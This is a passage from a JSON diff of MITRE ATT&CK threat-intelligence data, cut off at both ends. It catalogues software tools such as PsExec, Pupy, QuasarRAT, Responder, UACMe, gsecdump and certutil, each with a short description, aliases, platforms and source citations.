"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ] + }, + { + "name": "PsExec", + "description": "[PsExec](https://attack.mitre.org/software/S0029) is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers. (Citation: Russinovich Sysinternals) (Citation: SANS PsExec)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "PsExec" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created": "2017-05-31T21:32:21.771Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0029", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0029" + }, + { + "description": "Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.", + "source_name": "Russinovich Sysinternals", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx" + }, + { + "description": "Pilkington, M.. (2012, December 17). Protecting Privileged Domain Accounts: PsExec Deep-Dive. Retrieved August 17, 2016.", + "source_name": "SANS PsExec", + "url": "https://digital-forensics.sans.org/blog/2012/12/17/protecting-privileged-domain-accounts-psexec-deep-dive" + } + ] + }, + { + "name": "Pupy", + "description": "[Pupy](https://attack.mitre.org/software/S0192) is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. (Citation: GitHub Pupy) It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). (Citation: GitHub Pupy) [Pupy](https://attack.mitre.org/software/S0192) is publicly available on GitHub. (Citation: GitHub Pupy)", + "id": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "Android" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Pupy" + ], + "type": "tool", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "tool" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-04-24T17:52:47.605Z", + "external_references": [ + { + "external_id": "S0192", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0192" + }, + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ] + }, + { + "name": "QuasarRAT", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) is an open-source, remote access tool that is publicly available on GitHub. [QuasarRAT](https://attack.mitre.org/software/S0262) is developed in the C# language. (Citation: GitHub QuasarRAT) (Citation: Volexity Patchwork June 2018)", + "id": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "QuasarRAT", + "xRAT" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "tool" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-06-24T19:05:41.307Z", + "external_references": [ + { + "external_id": "S0262", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0262" + }, + { + "description": "(Citation: GitHub QuasarRAT) (Citation: Volexity Patchwork June 2018) (Citation: TrendMicro Patchwork Dec 2017)", + "source_name": "QuasarRAT" + }, + { + "description": "(Citation: TrendMicro Patchwork Dec 2017)", + "source_name": "xRAT" + }, + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ] + }, + { + "name": "RawDisk", + "description": "[RawDisk](https://attack.mitre.org/software/S0364) is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer's hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.(Citation: EldoS RawDisk ITpro)(Citation: Novetta Blockbuster Destructive Malware)", + "id": "tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "tool", + "x_mitre_aliases": [ + "RawDisk" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "tool" + ], + "created": "2019-03-25T12:30:40.919Z", + "modified": "2019-04-19T19:04:55.892Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0364", + "url": "https://attack.mitre.org/software/S0364" + }, + { + "description": "Edwards, M. (2007, March 14). EldoS Provides Raw Disk Access for Vista and XP. Retrieved March 26, 2019.", + "source_name": "EldoS RawDisk ITpro", + "url": "https://www.itprotoday.com/windows-78/eldos-provides-raw-disk-access-vista-and-xp" + }, + { + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "source_name": "Novetta Blockbuster Destructive Malware", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + } + ] + }, + { + "name": "Reg", + "description": "[Reg](https://attack.mitre.org/software/S0075) is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg)\n\nUtilities such as [Reg](https://attack.mitre.org/software/S0075) are known to be used by persistent threats. (Citation: Windows Commands JPCERT)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Reg", + "reg.exe" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "created": "2017-05-31T21:32:49.000Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0075", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0075" + }, + { + "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.", + "source_name": "Microsoft Reg", + "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + } + ] + }, + { + "name": "Remcos", + "description": "[Remcos](https://attack.mitre.org/software/S0332) is a closed-source tool that is marketed as a remote control and surveillance software by a company called Breaking Security. [Remcos](https://attack.mitre.org/software/S0332) has been observed being used in malware campaigns.(Citation: Riskiq Remcos Jan 2018)(Citation: Talos Remcos Aug 2018)", + "id": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "tool", + "x_mitre_aliases": [ + "Remcos" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "tool" + ], + "created": "2019-01-29T18:55:20.245Z", + "modified": "2019-04-19T14:39:52.796Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0332", + "url": "https://attack.mitre.org/software/S0332" + }, + { + "description": "(Citation: Riskiq Remcos Jan 2018)(Citation: Fortinet Remcos Feb 2017)(Citation: Talos Remcos Aug 2018)", + "source_name": "Remcos" + }, + { + "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.", + "source_name": "Riskiq Remcos Jan 2018", + "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/" + }, + { + "description": "Brumaghin, E., Unterbrink, H. (2018, August 22). Picking Apart Remcos Botnet-In-A-Box. Retrieved November 6, 2018.", + "source_name": "Talos Remcos Aug 2018", + "url": "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html" + }, + { + "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.", + "source_name": "Fortinet Remcos Feb 2017", + "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html" + } + ] + }, + { + "name": "Responder", + "description": "Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Responder" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0174", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0174" + }, + { + "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.", + "source_name": "GitHub Responder", + "url": "https://github.com/SpiderLabs/Responder" + } + ] + }, + { + "name": "Ruler", + "description": "[Ruler](https://attack.mitre.org/software/S0358) is a tool to abuse Microsoft Exchange services. It is publicly available on GitHub and the tool is executed via the command line. The creators of [Ruler](https://attack.mitre.org/software/S0358) have also released a defensive tool, NotRuler, to detect its usage.(Citation: SensePost Ruler GitHub)(Citation: SensePost NotRuler)", + "id": "tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "tool", + "x_mitre_aliases": [ + "Ruler" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "tool" + ], + "created": "2019-02-04T18:27:00.501Z", + "modified": "2019-04-22T19:07:12.485Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0358", + "url": "https://attack.mitre.org/software/S0358" + }, + { + "source_name": "SensePost Ruler GitHub", + "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/ruler" + }, + { + "source_name": "SensePost NotRuler", + "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/notruler" + } + ] + }, + { + "name": "SDelete", + "description": "[SDelete](https://attack.mitre.org/software/S0195) is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools. (Citation: Microsoft SDelete July 2016)", + "id": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SDelete" + ], + "type": "tool", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "tool" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-04-24T00:37:08.653Z", + "external_references": [ + { + "external_id": "S0195", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0195" + }, + { + "description": "(Citation: Microsoft SDelete July 2016)", + "source_name": "SDelete" + }, + { + "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.", + "source_name": "Microsoft SDelete July 2016", + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete" + } + ] + }, + { + "name": "Systeminfo", + "description": "[Systeminfo](https://attack.mitre.org/software/S0096) is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "systeminfo.exe", + "Systeminfo" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "created": "2017-05-31T21:33:00.969Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0096", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0096" + }, + { + "description": "Microsoft. (n.d.). Systeminfo. Retrieved April 8, 2016.", + "source_name": "TechNet Systeminfo", + "url": "https://technet.microsoft.com/en-us/library/bb491007.aspx" + } + ] + }, + { + "name": "Tasklist", + "description": "The [Tasklist](https://attack.mitre.org/software/S0057) utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Tasklist" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", + "created": "2017-05-31T21:32:39.233Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0057", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0057" + }, + { + "description": "Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.", + "source_name": "Microsoft Tasklist", + "url": "https://technet.microsoft.com/en-us/library/bb491010.aspx" + } + ] + }, + { + "name": "Tor", + "description": "[Tor](https://attack.mitre.org/software/S0183) is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. [Tor](https://attack.mitre.org/software/S0183) utilizes \"Onion Routing,\" in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Tor" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0183", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0183" + }, + { + "description": "(Citation: Dingledine Tor The Second-Generation Onion Router)", + "source_name": "Tor" + }, + { + "description": "Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.", + "source_name": "Dingledine Tor The Second-Generation Onion Router", + "url": "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf" + } + ] + }, + { + "name": "UACMe", + "description": "[UACMe](https://attack.mitre.org/software/S0116) is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "UACMe" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--102c3898-85e0-43ee-ae28-62a0a3ed9507", + "created": "2017-05-31T21:33:09.047Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0116", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0116" + }, + { + "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", + "source_name": "Github UACMe", + "url": "https://github.com/hfiref0x/UACME" + } + ] + }, + { + "name": "Windows Credential Editor", + "description": "[Windows Credential Editor](https://attack.mitre.org/software/S0005) is a password dumping tool. (Citation: Amplia WCE)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Windows Credential Editor", + "WCE" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--242f3da3-4425-4d11-8f5c-b842886da966", + "created": "2017-05-31T21:32:12.684Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0005", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0005" + }, + { + "description": "Amplia Security. (n.d.). Windows Credentials Editor (WCE) F.A.Q.. Retrieved December 17, 2015.", + "source_name": "Amplia WCE", + "url": "http://www.ampliasecurity.com/research/wcefaq.html" + } + ] + }, + { + "name": "Winexe", + "description": "[Winexe](https://attack.mitre.org/software/S0191) is a lightweight, open source tool similar to [PsExec](https://attack.mitre.org/software/S0029) designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) [Winexe](https://attack.mitre.org/software/S0191) is unique in that it is a GNU/Linux based client. (Citation: \u00dcberwachung APT28 Forfiles June 2015)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Winexe" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--96fd6cc4-a693-4118-83ec-619e5352d07d", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0191", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0191" + }, + { + "description": "(Citation: Winexe Github Sept 2013) (Citation: \u00dcberwachung APT28 Forfiles June 2015)", + "source_name": "Winexe" + }, + { + "description": "Skalkotos, N. (2013, September 20). WinExe. Retrieved January 22, 2018.", + "source_name": "Winexe Github Sept 2013", + "url": "https://github.com/skalkoto/winexe/" + }, + { + "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", + "source_name": "\u00dcberwachung APT28 Forfiles June 2015", + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + } + ] + }, + { + "name": "at", + "description": "[at](https://attack.mitre.org/software/S0110) is used to schedule tasks on a system to run at a specified date or time. (Citation: TechNet At)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "at", + "at.exe" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952", + "created": "2017-05-31T21:33:06.824Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0110", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0110" + }, + { + "description": "Microsoft. (n.d.). At. Retrieved April 28, 2016.", + "source_name": "TechNet At", + "url": "https://technet.microsoft.com/en-us/library/bb490866.aspx" + } + ] + }, + { + "name": "certutil", + "description": "[certutil](https://attack.mitre.org/software/S0160) is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. (Citation: TechNet Certutil)", + "id": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "certutil", + "certutil.exe" + ], + "type": "tool", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "tool" + ], + "created": "2017-12-14T16:46:06.044Z", + "modified": "2019-07-31T19:57:28.859Z", + "external_references": [ + { + "external_id": "S0160", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0160" + }, + { + "source_name": "TechNet Certutil", + "description": "Microsoft. (2012, November 14). Certutil. Retrieved July 3, 2017.", + "url": "https://technet.microsoft.com/library/cc732443.aspx" + } + ] + }, + { + "name": "cmd", + "description": "[cmd](https://attack.mitre.org/software/S0106) is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. (Citation: TechNet Cmd)\n\nCmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., dir (Citation: TechNet Dir)), deleting files (e.g., del (Citation: TechNet Del)), and copying files (e.g., copy (Citation: TechNet Copy)).", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "cmd", + "cmd.exe" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "created": "2017-05-31T21:33:05.319Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0106", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0106" + }, + { + "description": "Microsoft. (n.d.). Cmd. Retrieved April 18, 2016.", + "source_name": "TechNet Cmd", + "url": "https://technet.microsoft.com/en-us/library/bb490880.aspx" + }, + { + "description": "Microsoft. (n.d.). Dir. Retrieved April 18, 2016.", + "source_name": "TechNet Dir", + "url": "https://technet.microsoft.com/en-us/library/cc755121.aspx" + }, + { + "description": "Microsoft. (n.d.). Del. Retrieved April 22, 2016.", + "source_name": "TechNet Del", + "url": "https://technet.microsoft.com/en-us/library/cc771049.aspx" + }, + { + "description": "Microsoft. (n.d.). Copy. Retrieved April 26, 2016.", + "source_name": "TechNet Copy", + "url": "https://technet.microsoft.com/en-us/library/bb490886.aspx" + } + ] + }, + { + "name": "dsquery", + "description": "[dsquery](https://attack.mitre.org/software/S0105) is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.", + "id": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "dsquery", + "dsquery.exe" + ], + "type": "tool", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "tool" + ], + "created": "2017-05-31T21:33:04.937Z", + "modified": "2019-04-25T00:08:30.081Z", + "external_references": [ + { + "external_id": "S0105", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0105" + }, + { + "description": "Microsoft. (n.d.). Dsquery. Retrieved April 18, 2016.", + "source_name": "TechNet Dsquery", + "url": "https://technet.microsoft.com/en-us/library/cc732952.aspx" + } + ] + }, + { + "name": "esentutl", + "description": "[esentutl](https://attack.mitre.org/software/S0404) is a command-line tool that provides database utilities for the Windows Extensible Storage Engine.(Citation: Microsoft Esentutl)", + "id": "tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0404", + "url": "https://attack.mitre.org/software/S0404" + }, + { + "source_name": "Microsoft Esentutl", + "description": "Microsoft. (2016, August 30). Esentutl. Retrieved September 3, 2019.", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh875546(v=ws.11)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "esentutl", + "esentutl.exe" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward" + ], + "created": "2019-09-03T18:25:36.963Z", + "modified": "2019-10-14T18:51:57.414Z", + "labels": [ + "tool" + ] + }, + { + "name": "gsecdump", + "description": "[gsecdump](https://attack.mitre.org/software/S0008) is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. (Citation: TrueSec Gsecdump)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "gsecdump" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54", + "created": "2017-05-31T21:32:13.755Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0008", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0008" + }, + { + "description": "TrueSec. (n.d.). gsecdump v2.0b5. Retrieved September 29, 2015.", + "source_name": "TrueSec Gsecdump", + "url": "https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5" + } + ] + }, + { + "name": "ifconfig", + "description": "[ifconfig](https://attack.mitre.org/software/S0101) is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ifconfig" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--362dc67f-4e85-4562-9dac-1b6b7f3ec4b5", + "created": "2017-05-31T21:33:03.377Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0101", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0101" + }, + { + "description": "Wikipedia. (2016, January 26). ifconfig. Retrieved April 17, 2016.", + "source_name": "Wikipedia Ifconfig", + "url": "https://en.wikipedia.org/wiki/Ifconfig" + } + ] + }, + { + "name": "ipconfig", + "description": "[ipconfig](https://attack.mitre.org/software/S0100) is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ipconfig", + "ipconfig.exe" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--294e2560-bd48-44b2-9da2-833b5588ad11", + "created": "2017-05-31T21:33:02.863Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0100", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0100" + }, + { + "description": "Microsoft. (n.d.). Ipconfig. Retrieved April 17, 2016.", + "source_name": "TechNet Ipconfig", + "url": "https://technet.microsoft.com/en-us/library/bb490921.aspx" + } + ] + }, + { + "name": "meek", + "description": "[meek](https://attack.mitre.org/software/S0175) is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Linux", + 